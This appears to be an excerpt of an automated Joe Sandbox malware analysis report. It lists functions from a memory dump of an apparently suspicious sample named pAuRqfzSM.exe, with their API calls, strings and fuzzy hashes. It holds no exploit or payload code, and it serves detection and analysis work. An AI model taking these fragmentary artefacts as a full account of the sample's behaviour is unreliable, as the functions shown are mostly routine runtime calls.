memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?), ref: 6CACFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?), ref: 6CACFFF5
free.MOZGLUE(?,?,?,?,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?), ref: 6CAD001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?), ref: 6CAD002A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 92656fcec6ca22e16f8b907a0242e0005b6cf6d95480c39bac78a3f8db10c5c8
Instruction ID: cdfc39f381b2b85ba3dbd1eb247600eafa2da5a6788eedf0eebc0d6d8095b481
Opcode Fuzzy Hash: 92656fcec6ca22e16f8b907a0242e0005b6cf6d95480c39bac78a3f8db10c5c8
Instruction Fuzzy Hash: 0421D3B2B002155FC7089E7CDC948AFB7BAFB853247250338E425E7780EB70AD4586E2

Function 6CAAB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAB4F5
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAAB502
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAAB542
free.MOZGLUE(?), ref: 6CAAB578

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24419cd5724c52827000196e4e05f865999ed26264317fbb0ad4a46c6c5cb6f9
Instruction ID: 72c5a00a94248e6b2d0d1bc789e6762a2c1ac30b243a7653634434e9590e1a22
Opcode Fuzzy Hash: 24419cd5724c52827000196e4e05f865999ed26264317fbb0ad4a46c6c5cb6f9
Instruction Fuzzy Hash: DB11A231904B46C7D712CF69D5047A5B3B5FF96318F14571AE84A53E01EBB1B1C6C790

Function 6CAD3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA9F20E,?), ref: 6CAD3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA9F20E,00000000,?), ref: 6CAD3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAD3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAD3E0E

Part of subcall function 6CACCC00: GetCurrentProcess.KERNEL32(?,?,6CA931A7), ref: 6CACCC0D
Part of subcall function 6CACCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA931A7), ref: 6CACCC16

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 28d2ce43c402a03f1b3035c89b3947d5832943f0bd8a531a1a4aeffb3fe028b7
Instruction ID: 31a32870d8e71f183b5f461dabfe0bfb16f112e40515756b0f255350fe67727c
Opcode Fuzzy Hash: 28d2ce43c402a03f1b3035c89b3947d5832943f0bd8a531a1a4aeffb3fe028b7
Instruction Fuzzy Hash: 3FF01CB1A002087FDB00AB54DC86DAB377DEB46628F050020FE0857B41DB35BE6A86F7

Function 6CAE20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CACFBD1), ref: 6CAE20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CACFBD1), ref: 6CAE20DA
free.MOZGLUE(00000000,?,6CACFBD1), ref: 6CAE20F1

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8ee59afb94ac871375e416c2591125e5b23334f652a9745270d0dc0375e4c570
Instruction ID: 39f0a1afb275f5244923783fa6592ba74630ebf66e467a2deb66899ca995c1e3
Opcode Fuzzy Hash: 8ee59afb94ac871375e416c2591125e5b23334f652a9745270d0dc0375e4c570
Instruction Fuzzy Hash: FAE09B726006259BC7219F25D80958EBBFDFF8A314B14072AE546C3F00D775F98A87D5

Function 6CAE85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAE85D3

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAE8725

Strings

map/set<T> too long, xrefs: 6CAE8720

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0f0233b751451d9c9caa477f3bc474aec49da8d9f87d000af156bbc1e171d419
Instruction ID: 7c855b2feee8c9629f0745e8240361b5da1db16f08a975eee75d711bdec73714
Opcode Fuzzy Hash: 0f0233b751451d9c9caa477f3bc474aec49da8d9f87d000af156bbc1e171d419
Instruction Fuzzy Hash: 715164B4A006818FD701CF19C184B9ABBF1BF4A318F18C29AD8595BB52C335E885CFD2

Function 6CA9BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA9BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA9BE8F

Strings

0, xrefs: 6CA9BE5B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 8dd7761929da60aa5eb70c75c75cef1829a0244ab0f46bc1d96f7cefc8419a48
Instruction ID: 925b1c1c22edc5741f03ff251bb0e4f44762bbf2b631350290f7fd486f31cc95
Opcode Fuzzy Hash: 8dd7761929da60aa5eb70c75c75cef1829a0244ab0f46bc1d96f7cefc8419a48
Instruction Fuzzy Hash: 0341C371919745CFC711CF38D482A9BB7F8AF8A348F004B1DF98557611D730D9888B82

Function 6CAD3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAD3D6C

Strings

d, xrefs: 6CAD3D58

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 63c3ee1ad9dc2721f5da84efbe2ecd88d7e20a5e4b4e35e69058e7139d9a5a38
Instruction ID: 7d80d0b7ce9706b603e09c43014f195283497b0d72efd8bd2333b12d3bd1c7c1
Opcode Fuzzy Hash: 63c3ee1ad9dc2721f5da84efbe2ecd88d7e20a5e4b4e35e69058e7139d9a5a38
Instruction Fuzzy Hash: BF11C435E046889BDF018F69D8154EDB775EF96318B4A8618ECC597A42FB30B5C8CB50

Function 6CAA4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAA44B2,6CB1E21C,6CB1F7F8), ref: 6CAA473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAA474A

Strings

GetNtLoaderAPI, xrefs: 6CAA4744

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: d6a14a42b9c13454149eae9a721b2fe0a3fd14fe757346167effb1b946afae99
Instruction ID: 856473d4db2752573c2b07243e9940f9d903c345fc45b26a51ea64d59ffa57bd
Opcode Fuzzy Hash: d6a14a42b9c13454149eae9a721b2fe0a3fd14fe757346167effb1b946afae99
Instruction Fuzzy Hash: 1101B5767002948FDF009FA5C859A2DBBF9EB4B321B080469E905C7B00CB75D801CF91

Function 6CAF6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAF6E22
__Init_thread_footer.LIBCMT ref: 6CAF6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAF6E1D

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: fd009dd9bce5ac1c10194d2f94de2725f1cae16da9eb2d44204724cea7e6e62e
Instruction ID: 909c4ef6effc13be7a2e5c9ac804ee47ddb22b1528d9022422f12fa8f622a162
Opcode Fuzzy Hash: fd009dd9bce5ac1c10194d2f94de2725f1cae16da9eb2d44204724cea7e6e62e
Instruction Fuzzy Hash: E3F02E7E7092C0DFDB008B68D956A9577729713228F0C0165D42947F51D731BB97CA93

Function 6CAA9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAA9EEF

Strings

NaN, xrefs: 6CAA9EC1
Infinity, xrefs: 6CAA9EB7

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 37639f1f6e98374ffe6fe11721bd11348cb7d1529b779a5152812e1eba6a13d8
Instruction ID: 576c7decc3c70a7ec3608f25675c28886d4f31a002fae392c0c31cb478fa76d1
Opcode Fuzzy Hash: 37639f1f6e98374ffe6fe11721bd11348cb7d1529b779a5152812e1eba6a13d8
Instruction Fuzzy Hash: 37F0F6B4728791CBDB00CF98D94B7707372B317318F240A59C5040BF41D7366A8ACB82

Function 6CAABED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CAABEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CAABEF5

Strings

cryptbase.dll, xrefs: 6CAABEF0

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 56dbed90e97bb6d2cddabec5f04cb2c167ac81cc8c537bf04aeece4e9b2e5e31
Instruction ID: 3032e7b2e54bbb5f9aeb46ee1e9659d51a5a02880dcb98abe27e84c6bba65afd
Opcode Fuzzy Hash: 56dbed90e97bb6d2cddabec5f04cb2c167ac81cc8c537bf04aeece4e9b2e5e31
Instruction Fuzzy Hash: 8ED0C73318410CEAD6546A909D06B1537749705725F10C421F75555D51D7B19451CF94

Function 6CA950E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA94E9C,?,?,?,?,?), ref: 6CA9510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA94E9C,?,?,?,?,?), ref: 6CA95167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA95196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA94E9C), ref: 6CA95234

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 97c79fc09a6c7922173e17522a014745ca31de875fe683c0680bad0666f6f525
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 9C918C75515656CFCB14CF08C492A5ABBF1BF89318B288688DC589B715D731FC82CBE1

Function 6CAEB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB628

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CAEB127,?,?,?,?,?,?,?,?), ref: 6CAEB74D

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 844cbd04050cf88294b34178ac849cb1a3240d96a2ef2d43f0eb72b10053ce77
Instruction ID: 1b04521fe0cf27ef38e9efbd4da4be988422704b80d5386144ca67c2c28a415a
Opcode Fuzzy Hash: 844cbd04050cf88294b34178ac849cb1a3240d96a2ef2d43f0eb72b10053ce77
Instruction Fuzzy Hash: 4751E271A023168FDB14CF19E98869EB7B5FF48304F45862DC85AA7B00D730E884DBD5

Function 6CAEDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CADFF2A), ref: 6CAEDFFD

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CADFF2A), ref: 6CAEE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CADFF2A), ref: 6CAEE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CADFF2A), ref: 6CAEE0FE

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dbd020c56a16d9d0fc3bfba1c1930ba3592fe44eff06b46f2ddfc5b78e32ad35
Instruction ID: 29c242a31df23c0a091db931a73ebe0d2ffc353efec8093a2cdd3fbcbc9a40bd
Opcode Fuzzy Hash: dbd020c56a16d9d0fc3bfba1c1930ba3592fe44eff06b46f2ddfc5b78e32ad35
Instruction Fuzzy Hash: 0541C0B17442168FEB24CF68D88036A77B6BF49308F184939D516DBB40E732E984DBD2

Function 6CAE6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CAE6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CAE6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAE6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6F5C

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 2843c91ed3ee2d688e006db42fb9e795204c5f50c0e53d870100029a2ff1508d
Instruction ID: 448eed4267ea2b839ee9ce4cc16f80ca055962fc2f19ee6a0c781b1cdaa74841
Opcode Fuzzy Hash: 2843c91ed3ee2d688e006db42fb9e795204c5f50c0e53d870100029a2ff1508d
Instruction Fuzzy Hash: 8531E571A1060A8FDB04CF2CC9816AA73F9EB88304F54863DD51AC7751EB31EA99D7E0

Function 6CAFB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAA0A4D), ref: 6CAFB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAA0A4D), ref: 6CAFB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAA0A4D), ref: 6CAFB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAA0A4D), ref: 6CAFB67F

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 6ed7f924fadf550691226b57614ee36479651dac425924f48fa04555f8fb5417
Instruction ID: f005b3c8dc393fdac05f845ff6f6e30583602d75401a018a608870b2e34ff7eb
Opcode Fuzzy Hash: 6ed7f924fadf550691226b57614ee36479651dac425924f48fa04555f8fb5417
Instruction Fuzzy Hash: 3C312971A002158FDB10CF59D84469EBBF6FF80304F1A8629D81ADB701DB31E956CBE0

Function 6CACF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CACF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CACF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CACF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CACF668

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin
